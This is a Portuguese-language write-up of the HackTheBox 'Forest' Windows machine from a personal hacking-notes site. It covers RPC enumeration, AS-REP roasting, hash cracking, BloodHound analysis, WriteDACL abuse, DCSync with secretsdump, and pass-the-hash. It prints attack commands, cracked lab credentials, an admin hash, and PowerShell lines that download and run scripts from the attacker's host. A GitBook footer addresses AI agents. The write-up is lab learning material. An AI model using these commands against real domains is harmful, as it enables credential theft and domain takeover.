> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Writeup do HackTheBox Forest Writeup da máquina Easy Windows Forest do HackTheBox cobrindo AXFR - ataque de transferência de zona de domínio (falhou), enumeração RPC - obtenção de usuários válidos do domínio, realização de um ataque AS-RepRoast com o us {% embed url="" %} {% hint style="warning" %} **Habilidades:** * AXFR - Ataque de transferência de zona de domínio (falhou) * Enumeração RPC - Obtendo usuários válidos do domínio * Realizando um ataque AS-RepRoast com os usuários obtidos * Quebrando hashes * Abusando do WinRM - EvilWinRM * Enumeração LDAP - ldapdomaindump * Enumeração com BloodHound * Coletando informações do sistema com SharpHound.ps1 - PuckieStyle * Representando e visualizando dados no BloodHound * Encontrando um vetor de ataque no BloodHound * Abusando do grupo Account Operators - Criando um novo usuário * Abusando do grupo Account Operators - Atribuindo um grupo ao usuário recém-criado * Abusando do WriteDacl no domínio - Concedendo privilégios de DCSync * Exploração DCSync - Secretsdump.py {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versões de portas com Nmap :**/ Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Lista e operação:** ### **Reconhecimento SMB:** Usando o CrackMapExec para identificar o sistema operacional ```bash crackmapexec cmb 10.10.10.161 ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP/ é inserido no `/etc/hosts` arquivo.

/*/Exploração de compartilhamentos SMB na rede para identificar recursos compartilhados, mas sem resultados. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconhecimento RPC:** Uso do rpcclient para interagir com serviços CPP e coletar informações de recursos ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Liste os grupos: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Ataque ASREPRoast: #### Com uma lista de usuários válidos, conduziremos um ataque AS-RepRoast, pois não precisamos das senhas dos usuários. Usaremos `grep` para filtrar nomes de usuário, depois insira esses dados em um arquivo ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Usamos a ferramenta GetNPUsers.py para extrair informações de usuários sem uma senha: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Recuperamos o hash da senha do usuário "lucinda" e tentamos quebrá-lo com o John the Ripper usando uma lista de senhas predefinida: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Usamos o CrackMapExec para verificar se a senha quebrada está correta, tentando uma conexão WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Por fim, usamos o Evil-WinRM para conectar à máquina remota com as credenciais quebradas: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Escalada de privilégios: ### Enumeração de Domínio com BloodHound

Instalação do BloodHound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Faça login no BloodHound com os nomes neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Iniciando o BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Coletar informações com SharpHound.ps1 {% embed url="" %} ### Transfira os dados coletados para um servidor Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Transferimos o arquivo zip para nossa equipe. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importar arquivo zip no BloodHound. //*

### Análise e Operações no BloodHound #### Filtrando dados para encontrar o caminho mais curto até o administrador de domínio.

#### Identificação de filiação a um grupo potencialmente problemático (Account Operator).

#### Usando a capacidade de criação de usuários para preparar um ataque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Tentativa de DCSync sem direitos suficientes ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Adicionado o usuário a um grupo com permissões mais altas (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Ataque WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Preparando um ataque WriteDACL usando PowerView\.ps1 para adicionar funcionalidade. {% embed url="" %}

#### Transferir arquivo ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnerabilidade de ataque DCSync #### Execute o comando Add-DomainObjectAcl para obter os hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Usando o Impacket para extrair hashes com o usuário jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Ataque Pass-the-Hash: Usando o hash NT do administrador para o ataque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Acesso ao sistema com privilégios de administrador.

### Flag final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.